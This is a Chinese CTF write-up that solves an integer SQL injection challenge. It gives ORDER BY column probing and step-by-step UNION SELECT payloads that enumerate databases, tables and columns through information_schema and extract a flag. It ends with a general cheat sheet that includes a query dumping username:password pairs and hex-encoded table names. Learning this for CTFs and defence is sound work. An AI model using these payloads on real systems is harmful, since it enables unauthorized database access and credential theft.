这是作者遇到的一个题目,当然这个题目也很直白,整数型注入。
我们一次填入1,2,3会发现只有1和2有回显,3并没有回显。说明可以查询到的数据有两个。
接着我们测试一下数据有几列:
测试列数:
GET:id=1 order by 3#
POST:id=1' order by 3#
我们可以看到3并没有回显,2的时候正常显示,所以数据一共两列。
接下来就是尝试联合查询了,记得把前面的查询数据置空,写成id=0即可,显示正常,说明确确实实存在这两列数据 。
接下来就是一些套路操作了:
- 暴库名
- 爆表名
- 爆列名
- 获取数据
就酱都是大同小异,输入的sql语句也有格式可寻:
1.暴库名:
id=0 union select 1,database()#
这里select user(),version()还可有求出数据库的用户和数据库的版本,当然我们这里是不需要的。
sqli即是我们所求的数据库名。
2.爆表名
我们就要根据sqli去求出这个表名
id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
flag即是我们所要求的表名,接下来我们就是要通过flag求出列名。
3.爆列名
id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'
这里一定一定要注意在输入sql语句是是英文字符状态,我在这里因为是中文状态卡了好一会。
4.获取数据
我们已经将数据的列名flag得到,那么接下来就是通过表名和列名来求到flag。
id=0 union select 1,flag from flag
id和=是连在一起的,否则也是无法得到结果的。
最后关于手工注入的补充一点知识:
mysql中的information_schema 结构用来存储数据库系统信息
information_schema 结构中这几个表存储的信息,在注入中可以用到的几个表。
SCHEMATA 存储数据库名的,
关键字段:SCHEMA_NAME,表示数据库名称
TABLES 存储表名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
COLUMNS 存储字段名的
关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
爆所有数据名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具体的值 select group_concat(username,0x3a,password) from adminuser